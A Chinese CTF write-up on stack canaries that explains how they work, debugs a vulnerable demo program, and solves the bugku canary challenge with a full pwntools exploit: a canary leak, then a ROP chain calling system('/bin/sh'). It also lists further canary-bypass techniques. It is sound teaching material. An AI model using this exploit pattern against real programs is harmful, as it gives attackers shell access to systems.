0x00 前言

栈溢出攻击比较常见而且比较简单,所以为了保护程序免于栈溢出攻击,就出现了Canary。

{% note primary %}

canary的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

{% endnote %}

Canary:用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出了。

本篇研究样本:bugku-Pwn-canary


0x01 Canary详细原理

在栈底放一个随机数,在函数返回时检查是否被修改。具体实现如下:
x86 :
在函数序言部分插入canary值:

mov    eax,gs:0x14
mov    DWORD PTR [ebp-0xc],eax

在函数返回之前,会将该值取出,检查是否修改。这个操作即为检测是否发生栈溢出。

mov    eax,DWORD PTR [ebp-0xc]
xor    eax,DWORD PTR gs:0x14
je     0x80492b2 <vuln+103> # 正常函数返回
call   0x8049380 <__stack_chk_fail_local> # 调用出错处理函数

x86 栈结构大致如下:

        High  
        Address |                 |  
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      ebp =>    +-----------------+
                | ebx             |
    ebp-4 =>    +-----------------+
                | unknown         |
    ebp-8 =>    +-----------------+
                | canary value    |
   ebp-12 =>    +-----------------+
                | 局部变量	       |
        Low     |                 |
        Address

x64 :
函数序言:

mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax

函数返回前:

mov    rax,QWORD PTR [rbp-0x8]
xor    rax,QWORD PTR fs:0x28
je     0x401232 <vuln+102> # 正常函数返回
call   0x401040 <__stack_chk_fail@plt> # 调用出错处理函数

x64 栈结构大致如下:

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      rbp =>    +-----------------+
                | canary value    |
    rbp-8 =>    +-----------------+
                | 局部变量         |
        Low     |                 |
        Address

0x02 调试Canary

简单demo开始,先认识一下canary。

#include <stdio.h>
#include <stdlib.h>

void win() 
{
    puts("you win!\n");
    return;
}

int main() 
{
    char buf[10];
    char arr[10];
    puts("input buf:");
    read(0,&buf,100);
    printf("your buf:%s\n",buf);
    puts("input arr:");
    read(0,&arr,100);
    printf("your arr:%s\n",arr);
    
    return 0;
}

因为Linux编译时默认保护全开的,所以需要加上参数

gcc -no-pie *.c -o canary

然后再checksec一下确认

可以尝试运行然后查看效果

这里很明显的栈溢出段错误,但是由于程序开启了canary,所以程序调用了栈溢出的保护处理函数,报错由段错误改为了已放弃

先用IDA查看一下情况

使用IDA可以更直观的看到栈内数据的相对地址关系。

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。

gdb在看一下,下断点在0x40124B(使用IDA查看在mov rcx, [rbp+var_8]的地方)

.text:00000000004011AD     main            proc near               ; DATA XREF: _start+21↑o
.text:00000000004011AD
.text:00000000004011AD     buf             = byte ptr -1Ch
 ......
.text:0000000000401235 028                 lea     rdi, aYourArrS  ; "your arr:%s\n"
.text:000000000040123C 028                 mov     eax, 0
.text:0000000000401241 028                 call    _printf
.text:0000000000401246 028                 mov     eax, 0
.text:000000000040124B 028                 mov     rcx, [rbp+var_8]  #给canary下断点
.text:000000000040124F 028                 xor     rcx, fs:28h
.text:0000000000401258 028                 jz      short locret_40125F
.text:000000000040125A 028                 call    ___stack_chk_fail #canary被更改后的处理函数
.text:000000000040125F     ; ---------------------------------------------------------------------------
.text:000000000040125F
.text:000000000040125F     locret_40125F:                          ; CODE XREF: main+AB↑j
.text:000000000040125F 028                 leave
.text:0000000000401260 000                 retn
.text:0000000000401260     ; } // starts at 4011AD
.text:0000000000401260     main            endp

输入123和456

然后查看栈内情况 stack 50

就看到了rbp上面的就是canary,也的确是00结尾的。栈顶的rsp则是输入的123的小端序,下面就是45,6在第三行的最低位。

0x10 实践分析

0x11 程序分析

做题第一步,checksec

看到这里是打开canary和NX保护的,NX是栈不可执行,所以这里的大概只能构造ROP了

尝试运行,然后IDA分析

和demo一样的套路,两次输入两次输出。查看buf和v5的栈空间然后计算各自到canary的偏移

{% note primary %}

buf - canary = 0x240 - 8 = 0x238 = 568

v5 - canary = 0x210 - 8 = 0x208 = 520

{% endnote %}

泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

0x12 攻击思路

经过分析可以得到基本的攻击思路

  • 获取call system的地址
  • 获取'/bin/sh'的地址
  • 获取popedi的地址
  • 首先利用第一次的溢出泄露(输出)canary
  • 第二次溢出填充时构造之前泄露的canary刚好覆盖到canary的位置上,保证canary的值不变
  • 覆盖返回地址后构造ROP链获取shell

前面三步略过(看上一篇),直接开始泄露canary

#canary的相对偏移
canary_offset1 = 0x240 - 8
canary_offset2 = 0x210 - 8

所以第一次直接填充 canary_offset1个字符'a' + 回车'\n',那么回车就刚好填充的canary的低字节,因为printf是检测到'\00'才结尾的,所以第一次输出的时候就刚好输出canary

p.sendlineafter(b':',b'a'*canary_offset1) #sendline会自动加上'\n',send则不会
p.recvuntil(b'a'*canary_offset1 + b'\n')  #接收到了刚刚的输入就停下来
canary_addr = u64(b'\x00'+p.recv(7))      #再读7个字符正好,后面多余字符之后再接收

就成功的得到了canary,然后就key构造第二次输入所需要的payload了。

payload = b'a'*canary_offset2 + p64(canary_addr) + p64(1)   #刚好覆盖到返回地址
payload += p64(popedi_addr) + p64(binsh_addr) + p64(system_addr) #getshell的ROP链

0x13 完整exp

from pwn import *
import sys

context.log_level = "debug"
context.terminal = ['gnome-terminal','-x','sh','-c']

#本地
if sys.argv[1] == '0':
    p = process('./pwn4')

#远程
elif sys.argv[1] == '1':
    p = remote("asteri5m.icu","10002")  #个人靶场

#canary的相对偏移
canary_offset1 = 0x240 - 8
canary_offset2 = 0x210 - 8

p.sendlineafter(b':',b'a'*canary_offset1) #sendline会自动加上'\n',send则不会
p.recvuntil(b'a'*canary_offset1 + b'\n')  #接收到了刚刚的输入就停下来
canary_addr = u64(b'\x00'+p.recv(7))      #再读7个字符正好,后面多余字符之后再接收
log.success("canary:\t" + hex(canary_addr))
system_addr = 0x40080c    #这个地址本地、远程都能打通
#system_addr = 0x400660   #这个地址只能打通远端,本地会报错
binsh_addr = 0x601068
popedi_addr = 0x400963

payload = b'a'*canary_offset2 + p64(canary_addr) + p64(1)   #刚好覆盖到返回地址
payload += p64(popedi_addr) + p64(binsh_addr) + p64(system_addr) #getshell的ROP链

p.sendlineafter(b':',payload)

p.interactive()

打通本地效果:

0x20 其他攻击方法

  • one-by-one 爆破 Canary

one by one爆破思想是利用fork函数来不断逐字节泄露。fork函数作用是通过系统调用创建一个与原来进程几乎完全相同的进程,这里的相同也包括canary。当程序存在fork函数并触发canary时,__ stack_chk_fail函数只能关闭fork函数所建立的进程,不会让主进程退出,所以当存在大量调用fork函数时,我们可以利用它来一字节一字节的泄露,所以叫做one by one爆破。

参考链接:[CTF pwn] Canary one by one 暴破_漫小牛的博客-CSDN博客

  • 劫持__stack_chk_fail 函数

与ssp leak原理类似,canary失败就会进入__stack_chk_fail()函数,该函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持该函数(所以前提需要没有开启RELRO保护),让他不完成该功能,那么canary就形同虚设了。
注意:这种技术并不是我们一般方式的hijack GOT表,一般我们hijack GOT表是因为GOT表绑定了真实地址,我们覆盖他让程序执行其他函数。GOT表中要绑定真实地址必须是执行过一次,然而__stack_chk_fail()函数执行第一次的时候就会报错退出,所以我们需要overwrite的尚未执行过的__stack_chk_fail()的GOT表项,此时GOT表中应该存储stack_chk_fail PLT[1]的地址

参考链接:Canary绕过之__stack_chk_fail劫持 - 简书 (jianshu.com)

  • 覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

例题:StarCTF2018 babystack

  • c++异常机制绕过canary

例题:Shanghai-DCTF-2017 线下攻防Pwn题

  • 栈地址任意写绕过canary检查

利用格式化字符串数组下标越界,实现栈地址任意写,不必连续向栈上写,直接写ebp和ret,这样不会触发canary check